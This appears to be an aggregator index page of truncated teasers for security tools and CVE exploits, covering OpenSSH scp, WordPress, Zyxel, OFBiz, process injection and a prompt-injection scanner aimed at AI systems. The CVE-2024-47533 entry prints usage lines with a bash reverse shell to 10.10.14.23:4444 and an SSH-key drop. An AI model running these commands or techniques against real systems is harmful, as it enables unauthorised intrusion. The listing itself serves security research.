CVE-2020-15778-SCP-Command-Injection-Check

CVE-2020-15778 – Vulnerabilidad de Inyección de Comandos en OpenSSH SCP Script de Detección Acerca de CVE-2020-15778 es una vulnerabilidad de inyección de comandos descubierta en la utilidad scp proporcionada por OpenSSH versiones ≤ 8.3p1. El problema permite a un atacante ejecutar comandos...

CVE-2026-3288

CVE-2026-3288: ingress-nginx Configuration Injection via rewrite-target Annotation Keywords: CVE-2026-3288, ingress-nginx vulnerability, Kubernetes security, nginx configuration injection, rewrite-target annotation, RCE, Secret disclosure, CWE-20, CAPEC-176, ingress-nginx CVE 2026, Kubernetes...

overkill

Overkill Overkill es un exploit para una vulnerabilidad parcheada que afecta a QNAP QTS. Debido a la forma en que QNAP divulga las vulnerabilidades, no estoy seguro de si este problema tiene un CVE o no. Sin embargo, probablemente fue parcheado en noviembre de 2020 y abril de 2021. El n-day fue...

CVE-2019-9053-python3-remastered

CVE-2019-9053-python3-remastered The script has been remastered by Teymur Novruzov to ensure compatibility with Python 3. This tool is intended for educational purposes only. Unauthorized use of this tool on any system or network without permission is illegal. The author is not responsible for an...

promptmap

root@kitploit: O O o.-. Humans, Do Not Resist! |/ ,-'-. / /, / /|.-.| / --O-- .--""" /\ /\ | o.o / Utku Sen's /|\ -'--' / /| | - | / | | | \ /| | | ' \ '/ \ ' | ' \ | ' / | ' \ | / | | | ./| /||| ./|||,| .// / / |-----| || || || || promptmap2 is a an automated prompt injection scanner for...

promptmap

O O o.-. ¡Humanos, no os resistáis! |/ ,-'-. / /, / /|.-.| / --O-- .--"""/\ /\ | o.o / De Utku Sen /|\ -'--' / /| | - | / | | | \ /| | | ' \ '/ \ ' | ' \ | ' / | ' \ | / | | | ./| /|| | ./| || , | .// / / |-----| || | | || || root@kitploit: promptmap2 es un escáner automatizado de inyección de...

matchlock

Matchlock Experimental: This project is still in active development and subject to breaking changes. Matchlock is a CLI tool for running AI agents in ephemeral microVMs - with network allowlisting, secret injection via MITM proxy, and VM-level isolation. Your secrets never enter the VM. Why...

jsql-injection

Descripción jSQL Injection es una aplicación ligera utilizada para encontrar información de bases de datos en un servidor. Es gratuita , de código abierto y multiplataforma para Windows, Linux y Mac, y funciona con Java desde la versión 21 hasta la 25. jSQL Injection también forma parte de la...

CVE-2021-40374

CVE-2021-40374 - Cross-site Scripting Almacenado en OpenEyes 3.5.1 Descripción Se identificó una vulnerabilidad de cross-site scripting XSS almacenado en OpenEyes 3.5.1, desarrollado por la Fundación Apperta. El manejo inadecuado de la entrada en el parámetro 'Address1' permitió la inyección de...

CVE-2024-54820

Vulnerabilidad: Inyección SQL no autenticada - Volcado de credenciales en texto claro Autor : Javier Carabantes Software afectado : XOne Web Monitor Software : https://xone.es/ Versión afectada : 02.10.2024.530 framework 1.0.4.9 Descripción Se ha descubierto una vulnerabilidad de inyección SQL no...

CVE-2026-63030-Wp2Shell

CVE-2026-63030 wp2shell — RCE pre-autenticación en WordPress Core Confusión de rutas por lotes de la API REST encadenada con la inyección SQL CVE-2026-60137 TL;DR — Un atacante no autenticado puede encadenar un error de enrutamiento por lotes de la API REST de WordPress con una inyección SQL en...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 inyección de comandos. El paquete pdfkit es vulnerable a la inyección de comandos cuando la URL no está correctamente sanitizada. Nota: Este problema fue corregido en 0.8.7.2, pero se descubrió que el parche era ineficaz. La versión de parche...

pinjectra

Pinjectra Pinjectra es una biblioteca C/C++ que implementa técnicas de inyección de procesos con enfoque en Windows 10 de 64 bits en un estilo 'mezcla y combina'. Aquí hay un ejemplo: root@kitploit: // CreateRemoteThread Demo + DLL Load i.e., LoadLibraryA as Entry Point executor = new...

CVE-2022-30525

CVE-2022-30525 Vulnerabilidad de inyección de comandos en el firewall Zyxel CVE-2022-30525 POC&EXP autor:160team.west9B Solo para uso de investigadores de seguridad debidamente autorizados. Cumpla con la Ley de Ciberseguridad. Cualquier problema que surja es responsabilidad del usuario, no del...

CVE-2024-26521

CVE-2024-26521 CE-Phoenix-v1.0.8.20 Vulnerabilidad de inyección HTML Página de inicio de sesión Como podemos ver, hay una página de inicio de sesión que cualquiera puede entender que existe una vulnerabilidad de inyección HTML en esta aplicación. Básicamente, en esta aplicación todos los archivos...

CVE-2024-47533

root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...

OFBiz-Attack

OFBiz-Attack A Tool For CVE-2023-49070/CVE-2023-51467 Attack Test Environment vulhub/ofbiz:18.12.09 Usage Start root@kitploit: java -jar OFBiz-Attack.jar There are three modules: Vulnerability Detection Just enter the target URL. Do not add extra routes, otherwise it will affect subsequent module...

CVE-2024-43918

Wordpress WBW Product Table Pro = 1.9.4 - Ejecución SQL Arbitraria no Autenticada a Ejecución Remota de Código CVE-2024-43918 El plugin WBW Product Table Pro para WordPress es vulnerable a la ejecución SQL arbitraria no autorizada debido a la falta de verificación de capacidades en una función en...

CVE-2021-43811

CVE-2021-43811 awslabs/sockeye Code injection via unsafe YAML loading CVE-2021-43811 NVD Description Sockeye is an open-source sequence-to-sequence framework for Neural Machine Translation built on PyTorch. Sockeye uses YAML to store model and data configurations on disk. Versions below 2.3.24 us...

microctfs

microctfs Pequeños desafíos CTF ejecutándose en Docker logviewer Construir e iniciar el desafío logviewer expuesto en el puerto 8000 root@kitploit: cd logviewer docker build -t logviewer . docker run -d -p 8000:80 --name logchallenge logviewer Reiniciar el desafío logviewer root@kitploit: docker ...